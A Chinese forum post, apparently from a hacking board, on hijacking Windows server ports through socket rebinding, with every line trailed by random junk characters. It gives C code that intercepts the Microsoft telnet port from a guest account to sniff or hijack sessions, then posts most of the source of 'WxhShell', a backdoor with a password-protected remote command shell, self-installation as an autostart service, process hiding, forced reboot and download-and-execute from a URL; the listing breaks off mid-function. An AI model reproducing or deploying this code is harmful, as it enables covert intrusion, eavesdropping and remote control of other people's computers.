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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Q'D%?Vg'  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); xe9E</M_  
c&4EO|  
  saddr.sin_family = AF_INET; C],"va  
=Ji+GJ <,9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ! f!/~M"!  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &/o4R:i  
fg"]4&`j-  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 +P YX.  
jFS])",\i  
  这意味着什么?意味着可以进行如下的攻击: W6STjtT3P  
Itaq4^CE  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y~vyCU5nWR  
;$=kfj9 :7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) x -CTMKX  
I|&<!{Rq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pK/r{/>r  
oihn`DY {  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,i0Dw"/u  
PX!$w*q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8x":7 yV&  
DXFU~J*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i"0]L5=P  
!' ;1;k);  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,6N|?<26O  
.T;:6/??1  
  #include $#2zxpr,  
  #include Jc8^m0_  
  #include ^!a4!DGVT  
  #include    l;F\s&^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m/M=.\]  
  int main() Gs`[\<;LI  
  { +r8:t5:/I  
  WORD wVersionRequested; xLX2F   
  DWORD ret; &|6 A 8,  
  WSADATA wsaData; 'F-; uN  
  BOOL val; v/ $~ifY"  
  SOCKADDR_IN saddr; 7S^ba  
  SOCKADDR_IN scaddr; wg-qq4Q\  
  int err; OGA_3|[S   
  SOCKET s; .AHf]X0  
  SOCKET sc;  al#BfcZW  
  int caddsize; =17d7#-  
  HANDLE mt; R9 +0ZoS  
  DWORD tid;   K+WbxovXU  
  wVersionRequested = MAKEWORD( 2, 2 ); w8(8n&5  
  err = WSAStartup( wVersionRequested, &wsaData ); vMD%.tk  
  if ( err != 0 ) { 9x4%M&<Z9a  
  printf("error!WSAStartup failed!\n"); Mk=M)d`  
  return -1; 0[\sz>@  
  } >]/RlW[  
  saddr.sin_family = AF_INET; 0Wd2Z-I  
   C_5o&O8Bc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ufw_GYxan  
kh7RQbNY<I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ([g[\c,H  
  saddr.sin_port = htons(23); Sm7O%V8{p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E}qW'  
  { d1[;~)  
  printf("error!socket failed!\n"); U!y GZEU"[  
  return -1; ;,WI_iP(w  
  } /-FvC^Fj  
  val = TRUE; MP LgE.n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d+m}Z>iQ1O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }Mv$Up  
  { u)X]]6YJ  
  printf("error!setsockopt failed!\n"); :ebu8H9f%  
  return -1; #aHJ|[[(n  
  } $V/Hr/0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i #pBzJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qpt},yn)C  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T<a/GE/  
fpPB_P{Ua  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tZL|;K  
  { s@$SM,tnn  
  ret=GetLastError(); *#y9P ve  
  printf("error!bind failed!\n"); >Tf <8r,  
  return -1; Hoj'zY  
  } yhPO$L  
  listen(s,2); xGkc_  
  while(1) 6d;_}  
  { L>3-z>u,  
  caddsize = sizeof(scaddr); #qnK nxD  
  //接受连接请求 O-3R#sZ0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {9c_T!c  
  if(sc!=INVALID_SOCKET) r9 5hW  
  { Zws[C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  8MZ:=  
  if(mt==NULL) lWyg_YO@  
  { n1Z*wMwC  
  printf("Thread Creat Failed!\n"); 8V?*Bz-4`  
  break; }VU7wMk  
  } &Hj1jM'  
  } oF(=@UL  
  CloseHandle(mt); j6&q6C X  
  } #TG7WF 5  
  closesocket(s); L> \/%x>Wx  
  WSACleanup(); kJ_XG;8  
  return 0; 'Szk!,_  
  }   @{ CP18~:  
  DWORD WINAPI ClientThread(LPVOID lpParam) UCBx?9O/0  
  { $/)0iL{0  
  SOCKET ss = (SOCKET)lpParam; <)]j;Tl  
  SOCKET sc; o4qB0h  
  unsigned char buf[4096]; .-mlV ^  
  SOCKADDR_IN saddr; 9Od|R"aS|  
  long num; qmF+@R&^i  
  DWORD val; .L=C7w1  
  DWORD ret; =7vbcAJ\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 D,,$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *eEn8rAr  
  saddr.sin_family = AF_INET; B*;PF  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); U|jip1\  
  saddr.sin_port = htons(23); EmYu]"${1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;\],R.!  
  { ( L 8V)1N  
  printf("error!socket failed!\n"); ] <y3;T\~  
  return -1; *7`amF-  
  } C'&t@@:  
  val = 100; 1\LK[tvh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8eDKN9kq  
  { O|e/(s?$  
  ret = GetLastError(); 3;er.SFu{  
  return -1; C%QC^,KL  
  } _h1:{hF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JfVGs;_,  
  { 0 >:RFCo  
  ret = GetLastError(); |QO)x En~  
  return -1; r34 GO1d  
  } J]gtgt^   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZK?:w^Z  
  { ,/Yo1@U  
  printf("error!socket connect failed!\n"); )%Lgo${[;  
  closesocket(sc); HI!bq%TZ4  
  closesocket(ss); dx)v`.%V  
  return -1; 3F\UEpQ  
  } w@$_2t  
  while(1) x)prI6YMv\  
  { &?0hj@kd~  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 [h@MA|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 NB .&J7v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;_D5]kl`  
  num = recv(ss,buf,4096,0); 12S[m~L%  
  if(num>0) &Tn7  
  send(sc,buf,num,0); q@ %9Y3  
  else if(num==0) Jh`6@d  
  break; nOdAp4{:q%  
  num = recv(sc,buf,4096,0); vy{YGT  
  if(num>0) 9 Xx4,#?  
  send(ss,buf,num,0); S+M:{<AR  
  else if(num==0) 0qk.NPMB0  
  break; <^YZ#3~1T  
  } nH(H k%~  
  closesocket(ss); fudLm  
  closesocket(sc); fS- 31<?  
  return 0 ; O/{W:hJjd  
  } .ta*M{t  
I3D#wXW  
L}.V`v{zc  
========================================================== #7dM %  
BGZvgMxLJ  
下边附上一个代码,,WXhSHELL /u N3"m5i  
7).zed^  
========================================================== RWK##VHK  
K$Yc!4M  
#include "stdafx.h" iT"H%{+~  
@V5'+^O  
#include <stdio.h> '<KzWxuC  
#include <string.h> K)n0?Q_>  
#include <windows.h> pgU4>tyD  
#include <winsock2.h> 9KLhAYaq  
#include <winsvc.h> }dSxrT  
#include <urlmon.h> bcy( ?(  
C@q&0\HN  
#pragma comment (lib, "Ws2_32.lib") Gj(UA1~1  
#pragma comment (lib, "urlmon.lib") n:5*Tg9  
zV=(e( [  
#define MAX_USER   100 // 最大客户端连接数 h | +(  
#define BUF_SOCK   200 // sock buffer K#],4OG  
#define KEY_BUFF   255 // 输入 buffer G9uWn%5r  
KqT~MPl  
#define REBOOT     0   // 重启 n\D3EP<s  
#define SHUTDOWN   1   // 关机 D:Y `{{  
l5d> YTK+5  
#define DEF_PORT   5000 // 监听端口 ,wlSNb@'  
>`'>,n |  
#define REG_LEN     16   // 注册表键长度 )gq(  
#define SVC_LEN     80   // NT服务名长度 dk9nhS+faJ  
Ch9A6?=Hj8  
// 从dll定义API q{t"=@lX01  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;o0o6pF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c&T14!lfn  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ds9`AiCW>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3` aJ"qQE  
59I}  
// wxhshell配置信息 Bt^];DjH  
struct WSCFG { `[J(a u$z  
  int ws_port;         // 监听端口 6lc/_&0  
  char ws_passstr[REG_LEN]; // 口令 QU{\ClW/?  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pf]O'G&F  
  char ws_regname[REG_LEN]; // 注册表键名 4MOA}FZ~  
  char ws_svcname[REG_LEN]; // 服务名 ,.+"10=N.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D3emO'`gQ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vDAv/l9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pY9>z;qD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tF d^5A*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FE/2.!]&o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y|+ltAK  
Y; eJo  
}; ]Zf@NY  
.W+ F<]r  
// default Wxhshell configuration WPM<Qv L  
struct WSCFG wscfg={DEF_PORT, XU#nqvS`.  
    "xuhuanlingzhe", ^(0tNX/XD  
    1, Z0e+CEzq  
    "Wxhshell", C4P7,  
    "Wxhshell", /fM6%V=Y  
            "WxhShell Service", &sx|sLw)  
    "Wrsky Windows CmdShell Service", |k4ZTr]?  
    "Please Input Your Password: ", q61 rNOw_  
  1, )>LC*_v  
  "http://www.wrsky.com/wxhshell.exe", aUy=D:\  
  "Wxhshell.exe" OQh36BM  
    }; r4xq%hy  
B&m?3w  
// 消息定义模块 O:a$ U:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; wzMWuA4vX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Y e}y_W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n~d`PGs?f  
char *msg_ws_ext="\n\rExit."; oLn| UWe_  
char *msg_ws_end="\n\rQuit."; Te#wU e-|  
char *msg_ws_boot="\n\rReboot..."; 'g a1SbA]  
char *msg_ws_poff="\n\rShutdown..."; IfZaK([  
char *msg_ws_down="\n\rSave to "; GZc%*  
G\H@lFh  
char *msg_ws_err="\n\rErr!"; @$79$:q N  
char *msg_ws_ok="\n\rOK!"; j1>77C3  
Tj{!Fx^H  
char ExeFile[MAX_PATH]; 7,e=|%7.  
int nUser = 0; >~$ S!  
HANDLE handles[MAX_USER]; [<sBnHbvQ.  
int OsIsNt; ++13m*fA  
K(plzQ3  
SERVICE_STATUS       serviceStatus; f41!+W=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Hf %;FaJ=  
^aZ Wu|p  
// 函数声明 +>OEp * j  
int Install(void); $XI5fa4Tt  
int Uninstall(void); A?;/]m;  
int DownloadFile(char *sURL, SOCKET wsh); rDYq]`  
int Boot(int flag); o0wep&@  
void HideProc(void); j86s[Dty  
int GetOsVer(void); I01On>"@7  
int Wxhshell(SOCKET wsl); i*Y/q-N|  
void TalkWithClient(void *cs); 't{=n[  
int CmdShell(SOCKET sock); 5Tp n`2F  
int StartFromService(void); |U^ ff^]  
int StartWxhshell(LPSTR lpCmdLine); 2uWzcy ?F  
5Kv=;o=U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wrn[q{dX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?k_=?m  
_'AIXez7q  
// 数据结构和表定义 zPV/{)S  
SERVICE_TABLE_ENTRY DispatchTable[] = KX<RD|=  
{ jVRd[  
{wscfg.ws_svcname, NTServiceMain}, } 2)s%  
{NULL, NULL} D 2!ww{t  
}; LTtfOcrt  
-r-`T s  
// 自我安装 \lR~!6:  
int Install(void) =WEfo;  
{ ;gm){ g  
  char svExeFile[MAX_PATH]; i}<R >]S  
  HKEY key; }C#YR( ]  
  strcpy(svExeFile,ExeFile); 6w}:w?=6  
MO#%w  
// 如果是win9x系统,修改注册表设为自启动 o-O/MS   
if(!OsIsNt) { !gf&l ^)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u'K<-U8H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >/bl r}5 H  
  RegCloseKey(key); lGLZIp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RFK N,oB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \\)-[4uC  
  RegCloseKey(key); /2HwK/RZ  
  return 0; %k$C   
    } dIO\ lL   
  } i]$d3J3  
} ?$n<vF>  
else { j9u-C/Q\r  
)edM@beY_  
// 如果是NT以上系统,安装为系统服务 }(tGjx]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yJp& A  
if (schSCManager!=0) W: ?-d{  
{ WejY b;KS  
  SC_HANDLE schService = CreateService  Uero!+_  
  ( Ew;<iY[  
  schSCManager, ,+X8?9v  
  wscfg.ws_svcname, c~RIl5j  
  wscfg.ws_svcdisp, >M1/m=a  
  SERVICE_ALL_ACCESS, II<<-Y6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fRa1m?%s  
  SERVICE_AUTO_START, p[uwG31IL`  
  SERVICE_ERROR_NORMAL, E?XA/z !  
  svExeFile, >leOyBEAR  
  NULL, ,OasT!Sr  
  NULL, ;%jt;Xv9  
  NULL, . t3@86xTJ  
  NULL, @W @L%<  
  NULL gN]`$==c[  
  ); bm+ Mr  
  if (schService!=0) "7<4NV@yQ  
  { yQx>h6  
  CloseServiceHandle(schService); ;:!LAe  
  CloseServiceHandle(schSCManager); 2hp x%H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u\E.H5u27  
  strcat(svExeFile,wscfg.ws_svcname); 16 Xwtn72  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Pd*w`R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1OGlD+f  
  RegCloseKey(key); NfO0^^"  
  return 0; FFQF0.@EBi  
    } 2)8lJXM$L  
  } k{b ba=<  
  CloseServiceHandle(schSCManager); V+Tj[:ok  
} 3Q]MT  
} Rp<Xu6r  
rb_G0/R  
return 1;  ]t=>#  
} hW},%  
7Ow7|  
// 自我卸载 =0:hrg+Zgx  
int Uninstall(void) S77Gc:[;8  
{ K7l{&2>?  
  HKEY key; /.?\P#9)  
*@ o3{0[Z  
if(!OsIsNt) { o+t?OG/0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?SAi t Q3  
  RegDeleteValue(key,wscfg.ws_regname); dG rA18  
  RegCloseKey(key); "_l[4o[D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lxd<^R3i#^  
  RegDeleteValue(key,wscfg.ws_regname); Ww p^dx`!  
  RegCloseKey(key); >r*Zm2($MR  
  return 0; %x *f{(8h  
  } 7/1S5yUr|  
} 4J_%quxO  
} aj,ZM,Ad  
else { Qh[t##I/  
3edAI&a5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xm4wuX"e=  
if (schSCManager!=0) pE< ' '`  
{ _"bx#B*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~V&ReW/  
  if (schService!=0) _e 3'f:  
  { qcot T\rq  
  if(DeleteService(schService)!=0) { }rE|\p>  
  CloseServiceHandle(schService); (+_J0i t  
  CloseServiceHandle(schSCManager); (`NRF6'&1L  
  return 0; uS'ji k}  
  } w(j9[  
  CloseServiceHandle(schService); rYJ ))@  
  } ^sKXn:)  
  CloseServiceHandle(schSCManager); 9zyN8v2  
} b{rmxtx  
} RtL<hD  
ge[i&,.&z  
return 1; ?5Fj]Bk]  
} 0Nu]N)H5<l  
,&=`T 7i  
// 从指定url下载文件 _iu|*h1y  
int DownloadFile(char *sURL, SOCKET wsh) rieQ&Jt"  
{ }'W^Ki$  
  HRESULT hr; | #Pc e  
char seps[]= "/"; qM0MSwvC=  
char *token; + joE  
char *file; ECScx02  
char myURL[MAX_PATH]; pJz8e&wyLM  
char myFILE[MAX_PATH]; 2YKM9Ks  
\bOjb\ w$  
strcpy(myURL,sURL); fhmr*E'J  
  token=strtok(myURL,seps); 2M?lgh4"  
  while(token!=NULL) {nefS\#{  
  { .6 NSt  
    file=token; )^N8L<   
  token=strtok(NULL,seps); =!^iiHF  
  } L{f>;[FR  
j6vZ{Fx;w  
GetCurrentDirectory(MAX_PATH,myFILE); `tG_O  
strcat(myFILE, "\\"); <o+ 7U  
strcat(myFILE, file); p2vBj.*J  
  send(wsh,myFILE,strlen(myFILE),0); 2.D!4+&  
send(wsh,"...",3,0); NE3wui1 V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P|4E1O  
  if(hr==S_OK) Y:%)cUxA  
return 0; b@/ON}gX  
else i4n b#  
return 1; 1gm/{w6O  
$ bNe0  
} nn L$m_K~  
uV_)JZ W,L  
// 系统电源模块 V6MT>T  
int Boot(int flag) H ?j-=Zka  
{ 9>3Ltnn0  
  HANDLE hToken; sBtG}Mo)  
  TOKEN_PRIVILEGES tkp; ~'J =!Xy  
LGROEn<*d  
  if(OsIsNt) { P0ltN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )O@^H   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s}#[*WOc  
    tkp.PrivilegeCount = 1; 2ZbY|8X$r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9c{%m4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `A'I/Hf5  
if(flag==REBOOT) { v^W?o}W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IIQ3|eZ  
  return 0; v* ~%x  
} CY3\:D0I  
else { 8[1DO1*P  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sN1*Zp'(  
  return 0; :F>L;mp  
} s.;KVy,=Bu  
  } 90iW-"l+[  
  else { l~4e2xoT  
if(flag==REBOOT) { /;nO<X:XV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N~}v:rK>g  
  return 0; V\K m% vP  
} ;D"P9b]9$  
else { s$>m0^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :+ 9Ft>  
  return 0; 8U2 wH  
}  ,eeL5V  
} +%}5{lu_e  
B N*,!fx  
return 1; EB2^]?  
} |g\.5IM#W  
ss`q{ARb  
// win9x进程隐藏模块 !|<f%UO  
void HideProc(void) wAYzR$i  
{ ]u4>;sa  
j+13H+dN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gj7QG IKx  
  if ( hKernel != NULL ) oyN+pFVB:$  
  { ccN&h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /cL9 ?k;o  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); FJjF*2 .  
    FreeLibrary(hKernel); I6hhU;)C  
  } 9(^X2L&Z  
i. u15$  
return; )| Vg/S  
}  { 7TJgS  
QVSsi j  
// 获取操作系统版本 j |'# 5H`  
int GetOsVer(void) R5NRCI  
{ Xw*%3'  
  OSVERSIONINFO winfo; EAC(^+15K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9Nag%o{*S>  
  GetVersionEx(&winfo); +2V%'{:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2yJ7]+Jd7Y  
  return 1; ^i`3cCFB<  
  else K{= r.W  
  return 0; #"o6OEy$A#  
} =p,4=wo{  
np`g cj#  
// 客户端句柄模块 c<+g|@A#  
int Wxhshell(SOCKET wsl) hpqHllL  
{ m0BG9~p|  
  SOCKET wsh; _cxm}*}\#  
  struct sockaddr_in client; JO& ;bT<  
  DWORD myID; (:&&;]sI  
%)<oX9E  
  while(nUser<MAX_USER) {h vQ<7b  
{ fz<|+(_>J  
  int nSize=sizeof(client); EBj,pk5M  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8"?Vcw&  
  if(wsh==INVALID_SOCKET) return 1; qXP1Q3  
vy{rwZ$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]|C_`,ux  
if(handles[nUser]==0) 1*!c X  
  closesocket(wsh); dr,B\.|jC  
else D% v:PYf  
  nUser++; FhY{;-W(T  
  } k\mXo-:V6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yn IM-  
~>N`<S   
  return 0; mc0sdb,c$  
} 3P+4S|@q(4  
3xmiX{1e  
// 关闭 socket j{Yt70Wv  
void CloseIt(SOCKET wsh) .^[fG59  
{ Jo7fxWO_g  
closesocket(wsh); DU/9/ I?~  
nUser--; 2_oK 5*j  
ExitThread(0); fB;&n  
} O:`GL1{ve?  
f"Z qA'KB#  
// 客户端请求句柄 @MN}^umx`  
void TalkWithClient(void *cs) ;e#>n!<u  
{ *tTP8ZCQ[  
r!=]Q}`F  
  SOCKET wsh=(SOCKET)cs; $n=W2WJ6f  
  char pwd[SVC_LEN]; ++Rdv0~  
  char cmd[KEY_BUFF]; dAYI DE  
char chr[1]; >~`Y   
int i,j; LCo1{wi  
G?Qe"4 .  
  while (nUser < MAX_USER) { Kf:2%_DB  
L<f-Ed9|  
if(wscfg.ws_passstr) { W;3 R;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sow bg<D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \S=XIf  
  //ZeroMemory(pwd,KEY_BUFF); pTa'.m  
      i=0; [ E$$nNs  
  while(i<SVC_LEN) { FSW3'  
92P ,:2`a  
  // 设置超时 ,X9hl J  
  fd_set FdRead; ;eS;AHZ  
  struct timeval TimeOut; >%iu!H"  
  FD_ZERO(&FdRead); %-@'CNP  
  FD_SET(wsh,&FdRead); ?Ia4H   
  TimeOut.tv_sec=8; T4V[R N  
  TimeOut.tv_usec=0; ;el]LnV!O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kbfuvJ>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 89*S? C1  
KW&nDu t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /`7 IK  
  pwd=chr[0]; E0sbU<11  
  if(chr[0]==0xd || chr[0]==0xa) { 4u3 \xR?w6  
  pwd=0; 2^ zg0!z  
  break; 7^kH8qJ)  
  } GAg.p?Sq  
  i++; 7,pjej  
    } &M0o&C-1/  
pd=7^"[};  
  // 如果是非法用户,关闭 socket N; rXl8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A m2*-  
} '4af ],  
c_~XL^B@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `y1BTe&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1zdYBb6;j  
M.o?CX'  
while(1) { ,$HHaoo g  
5T!&r  
  ZeroMemory(cmd,KEY_BUFF); mcvDxjk,h  
PfVEv *  
      // 自动支持客户端 telnet标准   re7!p(W?,  
  j=0; b0r,h)R  
  while(j<KEY_BUFF) { Ro$j1Aw(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kFS0i%Sr  
  cmd[j]=chr[0]; lKf Mp1  
  if(chr[0]==0xa || chr[0]==0xd) { @)  
  cmd[j]=0; FpP\-+Sl  
  break; ,)Yao;Cvd  
  } k%"$$uo  
  j++; 929#Q#TT  
    } \V._Z>]  
$`E4m8fX  
  // 下载文件  UP\8w#~  
  if(strstr(cmd,"http://")) { HkW/G[7x&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^%-NPo<  
  if(DownloadFile(cmd,wsh)) 4#TnXxL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #N; $  
  else g* %bzfk=|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S*;#'j)4+  
  } %(fL?  
  else { #]"/{Z  
7TP$  
    switch(cmd[0]) { X d!Cp  
  ;9K[~  
  // 帮助 "_t4F4z  
  case '?': { i"/r)>"b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]OUD5T  
    break; ^n t~-%  
  } c qv .dC  
  // 安装 $,!hD\a  
  case 'i': { S<*';{5~  
    if(Install()) C:Vv!u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O)l%OOv   
    else l+oDq'[q"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'wa g |-  
    break; *<w3" iq  
    } O!o <P5X^  
  // 卸载 :#qUMiu$  
  case 'r': { 0(\p<qq  
    if(Uninstall()) 9-B@GFB;8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  X@cSP7b  
    else g/x_m.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }&mj.hGv  
    break; {798=pC<.  
    } 4yhcK&  
  // 显示 wxhshell 所在路径 ) 9xX  
  case 'p': { V):`&@  
    char svExeFile[MAX_PATH]; R3cg2H  
    strcpy(svExeFile,"\n\r"); +9TV:T  
      strcat(svExeFile,ExeFile); CDJ$hu  
        send(wsh,svExeFile,strlen(svExeFile),0); )4PB<[u  
    break; W.IH#`-9E  
    } k/U>N|5  
  // 重启 R!9qQn?  
  case 'b': { 2f `&WUe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  -W9gH  
    if(Boot(REBOOT)) 9g96 d-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I`3d;l;d  
    else { 5|5=Y/   
    closesocket(wsh); \` &ej{  
    ExitThread(0); Trpgx  
    } !1("(Eb  
    break; s~=g*99H  
    }  $<:'!#%  
  // 关机 vpi l$Uq  
  case 'd': { & wOE\TCL  
